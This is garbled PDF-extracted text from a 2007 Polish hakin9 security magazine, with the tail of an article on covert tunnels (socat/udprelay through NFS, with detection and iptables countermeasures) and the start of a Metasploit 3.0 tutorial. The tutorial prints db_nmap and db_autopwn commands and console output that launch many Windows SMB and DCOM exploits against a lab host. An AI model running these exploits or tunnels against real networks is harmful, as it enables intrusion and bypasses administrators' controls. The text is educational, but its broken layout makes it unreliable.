=192.168.198.200

ttl

=63 DF

id

=0

sport

=110

flags

=SA

seq

=12

win

=5840

rtt

=2.8 ms

len

=46

ip

=192.168.198.200

ttl

=63 DF

id

=0

sport

=110

flags

=SA

seq

=24

win

=5840

rtt

=2.3 ms

len

=46

ip

=192.168.198.200

ttl

=63 DF

id

=0

sport

=110

flags

=SA

seq

=35

win

=5840

rtt

=2.6 ms

len

=46

ip

=192.168.198.200

ttl

=63 DF

id

=0

sport

=110

flags

=SA

seq

=46

win

=5840

rtt

=3.7 ms

background image

hakin9 Nr 4/2007

www.hakin9.org

56

-u powoduje, że komunikacja gniaz-
do->plik jest jednokierunkowa. Do-
datkowy parametr sync zapewnia,
że zapisy do pliku nie będą buforo-
wane.

Dane przychodzące do kompute-

ra A z komputera C poprzez plik ho-
stC-hostA (połączenie nr 6) są prze-
kazywane za pomocą:

socat -u open:/mnt/nfs_remote/host4-
host1,
sync,ignoreeof udp:192.168.64.100:
15001,
sourceport=10001,reuseaddr

Dodatkowy parametr ignoreeof powo-
duje, że Socat zakłada iż plik rośnie i
ignoruje znacznik końca danych i pró-
buje odczytać więcej danych (działa-
nie podobne do polecenia tail -f). Da-
ne odczytywane z pliku są wysyłane
do UDP:192.168.64.100:15001. Ja-
ko port źródłowy ustawiona jest war-
tość 10001. Pakiety te odbierane są
przez program Udprelay. Zadaniem
połączenia numer 6.5 jest odebranie
tych pakietów a następnie wysłanie
ich do UDP:192.168.60.100:15000,
używając przy okazji portu 10000.
Połączenie to realizowane jest przez
polecenie:

udprelay -d -f /etc/udprelay.conf

Plik konfiguracyjny dla Udprelay po-
winien zawierać jedną linijkę:

relay 192.168.64.100 10001
15001 192.168.64.100 15000 10000 oneway

Nadaje ona działaniu Udprelay nastę-
pujące znaczenia: przekazuj pakiety w
jednym kierunku.; oczekuj pakietów z
adresu 192.168.64.100, portu docelo-
wego 15001 i portu źródłowego 10001;
przekaż dane do 192.168.64.100 uży-
wając portu docelowego 15000 i portu
źródłowego 10000.

Jak pamiętamy, na porcie 15000

nasłuchuje Socat realizujący połą-
czenie numer 1, a na porcie 10000
Socat obsługujący połączenie nu-
mer 2. Użycie Udprelay ma na celu
zmylenia Socat-a (1) tak aby po ode-
braniu pakietów od 6.5 odpowiedział
pakietami w kierunku (2).

Nadszedł czas na komputer C. Po-

łączenie nr 3 zrealizuje polecenie:

socat -u udp-listen:20000,reuseaddr
open:/mnt/nfs_remote/hostC-hostA,sync

Połączenie nr 4:

socat tcp4-listen:5000,reuseaddr udp:
192.168.128.100:20000,sourceport=25000

Połączenie nr 5:

socat -u open:/mnt/nfs_remote/hostA-
hostC,
sync,ignoreeof udp:192.168.128.100:
25001,
sourceport=20001

Połączenie nr 5.5:

udprelay -d -f /etc/udprelay.conf

Plik konfiguracyjny powinien zawie-
rać:

relay 192.168.128.100 20001
25001 192.168.128.100 25000 20000
oneway

Teraz prześledźmy, co się stanie, gdy
uruchomimy openvpn-a, który połączy
się do TCP:192.168.128.100:5000.

W tej sytuacji pakiet zostanie ode-

brany przez (4) i wysłany do (3) na port
UDP:20000. (3) zapisze dane do pli-
ku (hostC-hostA) na dysku sieciowym
NFS. Po pewnym czasie (6) zorientu-
je się, że plik się powiększył, odczy-
ta go i prześle do (6.5), który wyśle
go w pakiecie UDP:192.168.64.100:
15000 używając portu 10000 do (1).
(1) przekaże dane do serwera Ope-
nvpn komputera A. Openvpn w odpo-
wiedzi wyśle dane do (1), który odpo-
wie w kierunku, z którego przyszły da-
ne – czyli (2). (2) zapisze dane do pli-
ku hostA-hostC. Plik ten jest monitoro-
wany przez (5), który zauważając da-
ne wyśle je do (5.5). Dane te w pakie-
cie UDP:192.168.128.100:25000 (port
źródłowy 20000) trafią do (4) i dalej z
powrotem do klienta openvpn. Voila...

Połączenie takie ma jeden man-

kament – co zobaczymy na Listin-
gu 4.

Rysunek 4.

Schemat komunikacji poprzez serwer NFS

background image

Pakiety w tunelu

Komfort gry w Quake'a w dalszym

ciągu byłby zachwiany. Ponadto trud-
no nie wspomnieć o bezpieczeństwie
takiego tunelu, a raczej braku takiego
bezpieczeństwa. Cała komunikacja
zostaje bowiem utrwalona w dwóch
plikach zdalnego katalogu.

IP w czymkolwiek

Techniki tunelowania za pomocą
protokołu HTTP oraz ICMP zosta-
ły opisane w Hakin9u nr 2/2007, w
związku z tym niniejszy artykuł po-
minie te protokoły. Zainteresowanym
czytelnikom polecam lekturę tego ar-
tykułu oraz dokumentacje do [11] [12]
[13] jako uzupełnienie.

Jednym z ciekawszych pomy-

słów, aczkolwiek dość trudnym w
realizacji, jest użycie papieru ja-
ko medium transmisyjnego i wy-
korzystanie gołębi pocztowych do
przekazywania pakietów z jednego
miejsca w inne. Pomysł ten został
opisany w dokumencie RFC numer
1149. Pierwsze próby implementa-
cji podobno przyniosły dość obie-
cujące rezultaty, co zobaczymy na
Listingu 5.

W tym przypadku należy defi-

nitywnie stwierdzić. Używając ta-
kiego tunelu nie da się grać w Qu-
ake'a.

Paradygmat

– „szukaj i niszcz”

Istnieje stosunkowo niewiele narzę-
dzi do wyszukiwania ukrytych kana-
łów. Być może spowodowane jest to
tym, że de facto nie wiadomo czego
należy szukać. Jednym z lepszych
(a zarazem sprawdzonych) narzę-
dzi jest snort_inline opisany w Haki-
n9u 1/2007. Należy mieć na uwadze
fakt, że wykrywanie tuneli sprowadza
się w większości przypadków do ana-
lizy statystycznej płynącego przez ro-
uter ruchu i wykrywania wszelkiego
rodzaju anomalii. Dlatego odpowied-
nia konfiguracja systemu IDS jest w
stanie wykryć ukryty tunel. Dla proto-
kołu TCP zostało napisane narzędzie
o nazwie Tcpstatflow [15]. Jego zada-
niem jest analiza ruchu i alarmowanie
w momencie przekroczenia progu pa-
rametru ruchu takiego, jak czas trwa-
nia komunikacji, liczba bajtów przy-
chodzących, ilość pakietów przycho-
dzących. Na przykład, aby wykryć se-
sje HTTPS, które trwają ponad 60 se-
kund, wystarczy wydać polecenie:

debian:~# ./tcpstatflow -y 60 port 443.
/tcpstatflow[5771]: listening on eth0

Gdy taka sesja zostanie wykryta pro-
gram wyświetli komunikat:

Potencial tunnel = 192.168.198.128:
3863->
192.168.198.200:443: packets rx=82
tx=86,
bytes rx=9080 tx=1983, seconds=61

Nie jest to jedyne narzędzie, za po-
mocą którego można badać ruch
przechodzący przez router. Pozosta-
łe narzędzia, których pokaźna lista
znajduje się w [14], skoncentrowa-
ne są raczej na prowadzeniu staty-
styk połączeń, portów etc., lub poka-
zywaniu bieżącej działalności w ka-

blu. Przykładem może być chociaż-
by jnettop, czy popularny iptraf. Za
pomocą obu tych narzędzi admini-
strator jest w stanie zobaczyć, jakie
połączenia utrzymują użytkownicy i
podjąć odpowiednie kroki.

Z perspektywy administrato-

ra można też podejść do proble-
mu od drugiej strony, a mianowicie
skoncentrować się nie na wykrywa-
niu i usuwaniu tuneli kopanych przez
użytkowników, ale na podjęciu pew-
nych kroków prewencyjnych, które
utrudnią lub całkowicie uniemożliwią
stworzenie ukrytego kanału. Wie-
dząc, jak działają tunele, łatwo prze-
ciwdziałać ich powstawaniu. Można
przykładowo na maszynie firewal-
la zainstalować proxy ICMP, które

R

E

K

L

A

M

A

background image

hakin9 Nr 4/2007

www.hakin9.org

58

będzie pośredniczyło w wymianie
tych pakietów pomiędzy siecią lokal-
ną, a Internetem. Dzięki takiej funk-
cji moduł mod_icmp [15] skutecznie
uniemożliwi tworzenie tuneli opar-
tych o ten protokół (chyba że ktoś
wykorzysta ten protokół do stwo-
rzenia ukrytego kanału wykorzystu-
jącego odstępy czasu do przeka-
zania informacji [16]). Kolejną rze-
czą, którą może zrobić administrator,
jest ograniczenie liczby prób komu-
nikacji przez niektóre usługi. Opisa-
ny w artykule Mailtunnel łatwo moż-
na unieszkodliwić nakładając ograni-
czenia na liczbę prób nawiązania po-
łączenia na porty 25 i 110.

Można to osiągnąć wykorzystu-

jąc standardowe moduły Iptables.
Na początku blokujemy wszystkie
połączenia wychodzące na interesu-
jące nas porty:

iptables -I FORWARD -s 192.168.128.100
-p tcp -m multiport --destination-port
25,110 --syn -j DROP

następnie zezwalamy na określoną
liczbę pakietów syn/minutę dla połą-
czeń na odpowiednie porty:

iptables -I FORWARD -s 192.168.128.100
-p tcp --dport 110 -m limit --limit
5/min --syn -j ACCEPT
iptables -I FORWARD -s 192.168.128.100
-p tcp --dport 25 -m limit --limit
10/min --syn -j ACCEPT

Teraz możemy zaobserwować ocze-
kiwany rezultat na maszynie o adre-
sie 192.168.128.100 – Listing 6.

Jak widać pierwszych 5 pakie-

tów zostało przepuszczonych. Spo-
wodowane jest to domyślną warto-
ścią limit-burst modułu limit w Ip-
tables, która jest ustawiona na 5.
Następnie pakiety TCP z ustawio-
ną flagą SYN są przepuszczane z
prędkością 1 na 1/5 min. Dzięki ta-
kiemu zabiegowi znacznie trudniej
będzie stworzyć tunel oparty o pro-
tokoły SMTP oraz POP. Podobny
zabieg można zastosować wobec
innych protokołów.

Kolejną rzeczą, którą admini-

strator powinien rozważyć, jest uru-
chomienie transparentnego serwe-

ra proxy, który przechwytywałby żą-
dania użytkowników. Na taki serwer
można nałożyć dodatkowe ograni-
czenia, które uniemożliwią tworzenie
niektórych rodzajów tunelów opar-
tych o HTTP. Stosowanie tego roz-
wiązania posiada dodatkową zaletę,
a mianowicie serwer proxy odciąży
trochę nasze łącze, ponieważ część
danych będzie znajdować się w ca-
che serwera.

Jeżeli kopanie tuneli jest w sieci

zabronione ze względu na duże zu-
życie zasobów przez programy p2p,
to panaceum na wszystkie problemy
może się okazać sprawiedliwy po-
dział łącza [16]. Użytkownicy, którzy
wykopali sobie tunel i wykorzystują go
do ściągania darmowego i legalnego

oprogramowania po prostu wykorzy-
stają całe przydzielone im pasmo.

To nie koniec

Przedstawione w artykule pomy-
sły nie są wszystkimi, jakie można
zrealizować. Użytkownicy, chcąc
obejść zabezpieczenia admini-
stratora, wymyślają coraz to now-
sze sposoby na pokonanie narzu-
conych im ograniczeń. W odpo-
wiedzi administratorzy stosują co-
raz bardziej wymyślne techniki wy-
krywania i unieszkodliwiania tune-
li. Z pewnością nie można powie-
dzieć, że widać koniec tej wojny.
Wręcz przeciwnie, można odnieść
wrażenie, że jest to dopiero jej po-
czątek. l

O autorze

Konrad Malewski, absolwent informatyki Politechniki Śląskiej. Obecnie doktorant in-
formatyki na AGH. Administrator amatorskich sieci komputerowych. Zarówno w pracy,
jak i w życiu prywatnym interesuje się programowaniem oraz bezpieczeństwem apli-
kacji sieciowych.
Kontakt z autorem: kamalewski@gmail.com

W Sieci

http://linux-igd.sourceforge.net/ - Tutaj znajdziemy demona IGD pod Linux.
http://pupnp.sourceforge.net/ - Biblioteka oraz SDK, potrzebne do uruchomienia

IGD.

http://miniupnp.free.fr/ - Klient IGD, za pomocą którego możemy konfigurować

przekierowania.

http://www.upnp.org/download/UPnPDA10_20000613.html – Dokument opisują-

cy szczegółowo architekturę UPnP

http://www.hamachi.cc/ - Strona producenta programu Hamachi wykorzystywa-

nego do tworzenia tuneli na potrzeby gier.

http://www.detached.net/mailtunnel.html - Program służący do tunelowania połą-

czeń TCP w przesyłkach email.

http://home.agh.edu.pl/~koyot/mailtunnel/mailtunnel-0.3.tar.gz - zmodyfikowana

na potrzeby stworzenia VPN-a wersja programu Mailtunnel

• http://gray-world.net/tools/ftp-tunnel.tgz – program do tunelowania za pomocą FTP.
http://www.dest-unreach.org/socat/ - program przekazujący dane pomiędzy róż-

nymi źródłami.

ftp://sunsite.unc.edu/pub/Linux/system/network/misc/udprelay-linux.tgz – UDP

bouncer

http://sourceforge.net/projects/proxytunnel/
http://www.nocrew.org/software/httptunnel.html
http://gray-world.net/tools/icmptunnel.tar.gz
http://www.slac.stanford.edu/xorg/nmtf/nmtf-tools.html – Lista narzędzi służą-

cych do monitorowania sieci i nie tylko

http://www.geocities.com/fryxar/
http://www.multicians.org/timing-chn.html – Ukryte kanały, które wykorzystują

zdarzenia czasowe do przekazania informacji.

http://sp9wun.republika.pl/linux/shaperd_cbq.html – Strona domowa demona, za

pomocą którego ustawimy „sprawiedliwy podział łącza”

background image

To portal wydawnictwa CSH Na tej stronie moż-

na znaleźć garść potrzebnych informacji: aktu-

alności ze świata informatycznego, jest także

możliwość pobrania filmu szkoleniowego.

http://www.szkolahakerow.pl

Portal poświęcony aktualnościom, artykułom ze

świata informatycznego. Zawiera ciekawe linki,

gry on-line i wiele innych interesujących wiado-

mości.

http://www.hackme.pl

Portal poświęcony aktualnościom, artykułom

ze świata informatycznego. Zawiera ciekawe

linki, gry on-line i wiele innych interesujących

wiadomości.

http://www.linuxstorm.org

Strona zawiera ogłoszenia pracy na stanowi-

ska związane z branżą IT

http://www.pracait.com

Misją Infoprof jest zrozumienie potrzeb klienta

i taki dobór usług by jak najlepiej spełniały one

jego oczekiwania, jednocześnie nie narażając

go na niepotrzebne koszty..

http://www.infoprof.pl

Strona firmy komputerowej, która dostarcza

profesjonalne rozwiązania informatyczne, któ-

re polegaja na kompleksowym dostarczaniu

doradztwa, usług i sprzętu komputerowego.

http://www.dkmgroup.pl

Serwis informacyjny, na którym znajdują się

najświeższe aktualności i artykuły, można za-

logować się na forum i podyskutować z cie-

kawymi osobami na interesujące tematy.

http//www.cc-team.org

Misją serwisu jest dostarczanie informacji z za-

kresu szeroko pojętej informatyki. Zawiera naj-

świeższe informacje z rynku informatycznego i

recenzje czasopism: Hakin9, php solution, sdj

http://www.itnews.icx.pl

Grupa młodych ludzi chętnych do pracy stwo-

rzyła ten portal w celu rozreklamowania się. Ich

firma zajmuję się kompleksową usługą związa-

ną z promowaniem stron WWW.

http://www.webgroup.net.pl

Strony

polecane >>>

Strony

polecane

Portal poświęcony zdalnym rozwiązaniom IT,

świadczone usługi są dyskretne i dokładne.

http://www.xesit.pl

Portal zajmującymi się następującymi usługa-

mi:instalacja, serwis i administrowanie siecia-

mi komputerowymi.Budowa serwerów, likwida-

cja wirusów, spyweru, trojanów itp

http://www.mikroserwis.webpark.pl

ArComTech to firma informatyczna wspierają-

ca rozwój przedsiębiorstw poprzez umiejętne

zastosowanie wiedzy i doświadczenia oraz no-

woczesnych rozwiązań biznesowych

http//www.arcomtech.pl

background image

www.hakin9.org

hakin9 Nr 4/2007

60

Obrona

P

rzed kilkoma miesiącami pokazała się
nowa beta wersja Metasploit 3.0. Wer-
sja 3.0 znacznie różni się od wersji po-

przedniej, przede wszystkim całość przepisa-
na została do języka programowania Ruby. Po-
wodów, dla których autorzy tak uczynili jest
więcej: niezależność od architektury systemu,
wspieranie threadingu (włókien), a także to, że
autorzy Metasploit mają opanowany język pro-
gramowania Ruby i dobrze im się z nim pracu-
je. Dla nas użytkowników jednak ten fakt nicze-
go nie zmienia i Metasploit pozostaje przede
wszystkim narzędziem dla oceny podatności
systemów na włamanie.

Jak podane zostało na stronie głównej pro-

jektu, głównymi celami wersji 3.0 są:

● usprawnienie automatyzacji exploitowania

za pomocą skryptów,

● uproszczenie procesu tworzenia własnych

exploitów,

● umożliwienie ponownego użycia kodu z in-

nych exploitów,

● zaprowadzenie nowych technik exploitowa-

nia i ulepszanie technik już istniejących,

● umożliwienie automatycznego wyszukiwania

w sieci przy użyciu dodatkowego modułu,

● udoskanalanie środowiska rozwoju tak,

aby było dla użytkownika jeszce bardziej
przyjazne.

Najlepszą inowacją zastosowaną w nowej
wersji jest możliwość automatycznego prze-
szukiwania sieci za pomocą zabudowanych
modułów. Oznacza to, że w celu przeszu-
kiwania sieci możemy użyć urządzeń nmap
(ze wszystkimi znanymi przełącznikami), za-
pisać wyniki w bazie danych, a potem szukać
dziur w systemach i usługach, które zyskali-

Metasploit – Exploiting

framework

Michal Merta

stopień trudności

Chcesz wiedzieć czy twój system jest dostatecznie zabezpieczony?

Chcesz się nauczyć używania prostego narzędzia, by to stwierdzić?

Chciałbyś tworzyć swoje własne exploity w prostym środowisku

rozwoju? Chcesz zaoszczędzić na produktach komercyjnych i użyć

tych pieniędzy w bardziej odpowiedni sposób? Jeśli tak, to ten

artykuł jest przeznaczony dla ciebie.

Czego się nauczysz...

• na czym polega exploiting,
• jak używać Metasploit,
• jak exploitować daną usługę za pomocą Meta-

sploit.

Co powinieneś wiedzieć...

• protokoły TCP/IP,
• podstawy pracy z bazą danych i językiem pro-

gramowania SQL,

• Linux i jego środowisko.

background image

Metasploit – Exploiting framework

hakin9 Nr 4/2007

www.hakin9.org

61

śmy podczas przeszukiwania sieci
(praktyczny przykład podany zosta-
nie poniżej).

Jak zaistalować i uruchomić

Metasploit (choćby tylko dlate-
go, że proces instalacji jest w każ-
dym systemie inny), nie trzeba tłu-
maczyć. W każdym razie trzeba
mieć zainstalowany pakiet Ruby-

Gems, Ruby sterownik umożliwia-
jący pracę z bazą danych oraz ba-
zę danych. Poniżej podane zosta-
ły wyjścia wygenerowane na kom-
puterze, który pracuje pod syste-
mem operacyjnym Linux, dystrybu-
cją Gentoo z jądrem 2.6.15 i na ba-
zie danych PostgreSQL.

Zanim rozpoczniemy pracę z Me-

tasploitem, wskazana jest aktualiza-
cja programu i wszystkich jego czę-
ści składowych łącznie z modułami
na wersję najnowszą – Metasploit
oferuje nam możliwość użycia sub-

version klienta – więcej informacji
szukaj na stronach Metasploit.

Na początek polecam uruchomić

msfconsole i spróbować zorientować
się w środowisku Metasploit oraz w
jego poleceniach:

msf > load db_postgres
[*] Successfully loaded plugin:
db_postgres
msf >

Za pomocą polecenia load db_post-

gres nagramy wsparcie dla Postgre-
SQL do Metasploit i zostaną nam
ujawnione następne polecenia, któ-
rych można użyć.

Polecenie db_nmap -sS -P0 -O

10.0.0.0/24 umożliwi nam za pomocą
ICMP pingów zmapować lokalną sieć
z powłoką 24 przy użyciu półotwartych
połączeń (half open SYN scan) bez
sprawdzania trwałości urządzeń. God-
nym uwagi jest to, że db_nmap działa
praktycznie tak samo jak nmap – tak,
można używać wszystkich przełączni-
ków nmapa tak jak zawsze, wyniki ma-
powania (maszyny, uruchomione usłu-
gi) zostaną zapisane w bazie danych.
Polecenia db_hosts i db_services po-
każą wyniki mapowania (otwarte porty
i znalezione stacje).

Listing 1.

Struktura bazy

danych PostgreSQL

localhost

=

# \dt

List

of

relations

Schema

|

Name

|

Type

|

Owner

--------+--------------+-------+--

--------

public

|

hosts

|

table

|

postgres

public

|

refs

|

table

|

postgres

public

|

services

|

table

|

postgres

public

|

vulns

|

table

|

postgres

public

|

vulns_refs

|

table

|

postgres

(

5

rows

)

localhost

=

# select * from hosts;

id

|

address

|

comm

|

name

|

state

|

info

----+------------+------+------+--

----------+----

1

|

10.0

.

0.1

|

|

|

unknown

|

2

|

10.0

.

0.46

|

|

|

unknown

|

3

|

10.0

.

0.2

|

|

|

unknown

|

4

|

10.0

.

0.200

|

|

|

unknown

|

(

4

rows

)

localhost

=

#

Listing 2.

Wyjścia poleceń db_hosts i db_services

msf

>

db_hosts

[*]

Host

:

10.0

.

0.1

[*]

Host

:

10.0

.

0.46

[*]

Host

:

10.0

.

0.2

[*]

Host

:

10.0

.

0.200

msf

>

db_services

[*]

Service

:

host

=

10.0

.

0.1

port

=

135

proto

=

tcp

state

=

up

name

=

msrpc

[*]

Service

:

host

=

10.0

.

0.1

port

=

139

proto

=

tcp

state

=

up

name

=

netbios

-

ssn

[*]

Service

:

host

=

10.0

.

0.1

port

=

445

proto

=

tcp

state

=

up

name

=

microsoft

-

ds

[*]

Service

:

host

=

10.0

.

0.1

port

=

902

proto

=

tcp

state

=

up

name

=

iss

-

realsecure

-

sensor

[*]

Service

:

host

=

10.0

.

0.1

port

=

80

proto

=

tcp

state

=

up

name

=

http

[*]

Service

:

host

=

10.0

.

0.1

port

=

443

proto

=

tcp

state

=

up

name

=

https

[*]

Service

:

host

=

10.0

.

0.2

port

=

21

proto

=

tcp

state

=

up

name

=

ftp

[*]

Service

:

host

=

10.0

.

0.2

port

=

22

proto

=

tcp

state

=

up

name

=

ssh

[*]

Service

:

host

=

10.0

.

0.2

port

=

25

proto

=

tcp

state

=

up

name

=

smtp

[*]

Service

:

host

=

10.0

.

0.2

port

=

80

proto

=

tcp

state

=

up

name

=

http

[*]

Service

:

host

=

10.0

.

0.2

port

=

139

proto

=

tcp

state

=

up

name

=

netbios

-

ssn

[*]

Service

:

host

=

10.0

.

0.2

port

=

445

proto

=

tcp

state

=

up

name

=

microsoft

-

ds

[*]

Service

:

host

=

10.0

.

0.46

port

=

135

proto

=

tcp

state

=

up

name

=

msrpc

[*]

Service

:

host

=

10.0

.

0.46

port

=

139

proto

=

tcp

state

=

up

name

=

netbios

-

ssn

[*]

Service

:

host

=

10.0

.

0.46

port

=

445

proto

=

tcp

state

=

up

name

=

microsoft

-

ds

[*]

Service

:

host

=

10.0

.

0.46

port

=

1025

proto

=

tcp

state

=

up

name

=

NFS

-

or

-

IIS

[*]

Service

:

host

=

10.0

.

0.46

port

=

5000

proto

=

tcp

state

=

up

name

=

UPnP

[*]

Service

:

host

=

10.0

.

0.200

port

=

80

proto

=

tcp

state

=

up

name

=

http

[*]

Service

:

host

=

10.0

.

0.200

port

=

8080

proto

=

tcp

state

=

up

name

=

http

-

proxy

msf

>

Rysunek 1.

Expolit

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

62

Pomyślnie zapełniliśmy bazę da-

nych, teraz możemy rozpocząć wła-
ściwy proces exploitowania.

Exploiting

Zanim jednak rozpoczniemy, trzeba
dobrze przemyśleć czy exploitowa-
nie nie przyniesie nam więcej szko-
dy niż pożytku. Nigdy nie podejmuj
się exploitowania czegoś, do czego
nie masz uprawnień!

Terminologia

Podatnośc systemu na włamanie to
zbiór jego luk w zabezpieczeniu (na
przykład konkretne aplikacje – więk-
szością chodzi o błąd w naprogramo-
waniu), przy czym przy użyciu odpo-
wiednich technik czy narzędzi włamy-
wacz potrafi naprzykład wprawić w sys-
tem kawał złośliwego kodu, odczyty-
wać czy zmieniać dane w systemie, ob-
serwować ruch w sieci itp.

Exploit to kawałek kodu (software)

albo zestaw poleceń wykorzystujący
luki w zabezpieczeniu systemu, inaczej
powiedziawszy jest to aplikacja wytwo-
rzona w celu uzyskania kontroli nad da-
nym systemem czy w celu spowodowa-
nia niedostępności usługi dla okolicy
(tzw. denial of service).

Ocena podatności systemu na

włamanie to proces odnajdywania
najsłabszych miejsc w zabezpiecze-
niu danego systemu i następne oce-
nianie ich powagi. Systemem pod-
danym badaniom może być naprzy-
kład budowla (elektrownia jądrowa),
wodociąg, serwer czy sieć kompu-
terowa.

Testem penetracyjnym nazywamy

metodę oceny zabezpieczenia kompu-
tera czy sieci komputerowej przy uży-
ciu w tym celu sposobów, których uży-
wał by włamywacz. Składa się z więk-
szej ilości kroków – od dokładnego ba-
dania systemu aż po odnalezienie je-
go najsłabszego miejsca. Zadaniem
testera penetracyjnego jest stwierdze-
nie możliwych sposobów zaatakowa-
nia systemu (wystarczy odnaleźć jeden
słaby punkt).

Ludzie często zamieniają pojęcia

exploit i podatność systemu na wła-
manie
czy proces oceny podatności na
włamanie
z testowaniem penetracyj-
nym
. Upewnij się więc, że te pojęcia ro-
zumiesz, dla zrozumienia następujące-
go tekstu jest to niezbędne.

Listing 3.

Użycie polecenia db_autopwn

msf

>

db_autopwn

[*]

Usage

:

db_autopwn

[

options

]

-

t

Show

all

matching

exploit

modules

-

x

Select

modules

based

on

vulnerability

references

-

p

Select

modules

based

on

open

ports

-

e

Launch

exploits

against

all

matched

targets

-

s

Only

obtain

a

single

shell

per

target

system

-

r

Use

a

reverse

connect

shell

-

b

Use

a

bind

shell

on

a

random

port

-

h

Display

this

help

text

Listing 4a.

Właściwy proces exploitowania

msf

>

db_autopwn

-

t

-

p

-

e

[*]

Analysis

completed

in

1.20325303077698

seconds

(

0

vulns

/

0

refs

)

[*]

Matched

exploit

/

windows

/

smb

/

ms04_031_netdde

against

10.0

.

0.46

:

135

...

[*]

Launching

exploit

/

windows

/

smb

/

ms04_031_netdde

(

1

/

16

)

against

10.0

.

0.46

:

135

...

[*]

Started

bind

handler

[*]

Matched

exploit

/

windows

/

smb

/

ms04_007_killbill

against

10.0

.

0.46

:

445

...

[*]

Matched

exploit

/

osx

/

samba

/

trans2open

against

10.0

.

0.46

:

139

...

[*]

Matched

exploit

/

windows

/

smb

/

ms06_025_rasmans_reg

against

10.0

.

0.46

:

445

...

[*]

Matched

auxiliary

/

dos

/

windows

/

smb

/

rras_vls_null_deref

against

10.0

.

0.46

:

445

...

[*]

Matched

exploit

/

windows

/

smb

/

ms06_025_rras

against

10.0

.

0.46

:

445

...

[*]

Matched

exploit

/

windows

/

smb

/

ms06_066_nwapi

against

10.0

.

0.46

:

445

...

[*]

Launching

exploit

/

windows

/

smb

/

ms06_066_nwapi

(

7

/

16

)

against

10.0

.

0.46

:

445

...

[*]

Started

bind

handler

[*]

Connecting

to

the

SMB

service

...

[*]

Matched

exploit

/

windows

/

smb

/

ms06_040_netapi

against

10.0

.

0.46

:

445

...

[*]

Launching

exploit

/

windows

/

smb

/

ms06_040_netapi

(

8

/

16

)

against

10.0

.

0.46

:

445

...

[*]

Started

bind

handler

[*]

Matched

exploit

/

windows

/

smb

/

ms04_011_lsass

against

10.0

.

0.46

:

445

...

[*]

Launching

exploit

/

windows

/

smb

/

ms04_011_lsass

(

9

/

16

)

against

10.0

.

0.46

:

445

...

[*]

Started

bind

handler

[*]

Matched

exploit

/

windows

/

smb

/

ms06

066

_nwwks

against

10.0

.

0.46

:

445

...

[*]

Launching

exploit

/

windows

/

smb

/

ms06

066

_nwwks

(

10

/

16

)

against

10.0

.

0.46

:

445

...

[*]

Started

bind

handler

[*]

Connecting

to

the

SMB

service

...

[*]

Matched

exploit

/

windows

/

smb

/

ms05_039_pnp

against

10.0

.

0.46

:

445

...

[*]

Launching

exploit

/

windows

/

smb

/

ms05

039

_pnp

(

11

/

16

)

against

10.0

.

0.46

:

445

...

[*]

Binding

to

e67ab081

-

9844

-

3521

-

9

d32

-

834

f038001c0

:

1.0

@

ncacn_np

:

10.0

.

0.46

[

\

srvsvc

]

...

[*]

Started

bind

handler

background image

Metasploit – Exploiting framework

hakin9 Nr 4/2007

www.hakin9.org

63

Polecenie db_autopwn jest naj-

ważniejsze w całym środowisku Me-
tasploit. Potrafi na przykład spraw-
dzić wszystkie maszyny, usługi w ba-
zie danych i na podstawie tych infor-
macji wytworzyć spis exploitów, któ-
re mogłyby efektywnie wykorzystać
słabe miejsca w systemie, o ile ja-
kieś istnieją.

Uruchomieniem db_autopwn -p

-t -e rozpoczniemy proces exploito-
wania i zaczekamy na wyniki. Czas
trwania całego procesu jest zależny
od ilości maszyn i usług w bazie da-
nych – Listing 4.

Gotowe. Polecenie sessions po-

każe nam czy proces przebiegł po-
myślnie czy też nie. Kiedy bardziej
uważnie popatrzymy na wyjście po-
lecenia db_autopwn, możemy sam
ocenić pomyślność procesu.

Popatrzmy na Listing 5 - “udało

się” - 3 exploity zaowocowały. Ozna-
cza to prawdopodobnie, że maszyna
10.0.0.46 nie jest porządnie zabez-
pieczona. Pomiędzy poszczególnymi
połączeniami można przełączać się
za pomocą polecenia sessions -i X,
gdzie X to ID aktywnego połączenia.

Którą wersję wybrać?

A więc jakie są różnice między wer-
sją 2.X i 3.X? W wersji 2.X oczywi-
ście też można exploitować poszcze-
gólne maszyny, nie można jednak w
tak prosty sposób exploitować całej
sieci tak, jak zostało to opisane po-
wyżej. Wsparcie dla bazy danych i z
tym związanych poleceń jest zabudo-
wane tylko w wersji 3. Pokażę teraz,
w jaki sposób postępować przy uży-
waniu wersji 2.X. Najpierw trzeba wy-
brać odpowiedni exploit. Dla orientacji
w poszczególnych exploitach posłu-
ży nam polecenie show exploits, które
wypisze wszystkie możliwe dostępne
exploity (także te własne, o ile jakieś
zostały napisane).

Ze spisu wybierzemy ten wła-

ściwy i za pomocą polecenia use

XXX (XXX to nazwa exploita) zo-
stanie uruchomiony specjalny tryb
exploit, w ramach którego ustawimy
możliwości dla konkretnego explo-
ita. Dla przykładu wybraliśmy explo-
it ms03_026_dcom, jego możliwości
są ukazane na Listingu 6.

Listing 4b.

Właściwy proces exploitowania

[*]

Connecting

to

the

SMB

service

...

[*]

Matched

exploit

/

windows

/

dcerpc

/

ms03_026_dcom

against

10.0

.

0.46

:

135

...

[*]

Launching

exploit

/

windows

/

dcerpc

/

ms03

026

_dcom

(

12

/

16

)

against

10.0

.

0.46

:

135

...

[*]

Binding

to

3919286

a

-

b10c

-

11

d0

-

9

ba8

-

00

c04fd92ef5

:

0.0

@

ncacn_np

:

10.0

.

0.46

[

\

lsarpc

]

...

[*]

Detected

a

Windows

XP

SP0

/

SP1

target

[*]

Binding

to

4

b324fc8

-

1670

-

01

d3

-

1278

-

5

a47bf6ee188

:

3.0

@

ncacn_np

:

10.0

.

0.46

[

\

BROWSER

]

...

[*]

Started

bind

handler

[*]

Trying

target

Windows

NT

SP3

-

6

a

/

2000

/

XP

/

2003

Universal

...

[*]

Binding

to

4

d9f4ab8

-

7

d1c

-

11

cf

-

861

e

-

0020

af6e7c57

:

0.0

@

ncacn_ip_tcp

:

10.0

.

0.46

[

135

]

...

[*]

Matched

auxiliary

/

dos

/

windows

/

smb

/

ms06_063_trans

against

10.0

.

0.46

:

445

...

[*]

Binding

to

e67ab081

-

9844

-

3521

-

9

d32

-

834

f038001c0

:

1.0

@

ncacn_np

:

10.0

.

0.46

[

\

nwwks

]

...

[*]

Bound

to

4

d9f4ab8

-

7

d1c

-

11

cf

-

861

e

-

0020

af6e7c57

:

0.0

@

ncacn_ip_tcp

:

10.0

.

0.46

[

135

]

...

[*]

Matched

exploit

/

windows

/

smb

/

ms

03

_049_netapi

against

10.0

.

0.46

:

445

...

[*]

Launching

exploit

/

windows

/

smb

/

ms03_049_netapi

(

14

/

16

)

against

10.0

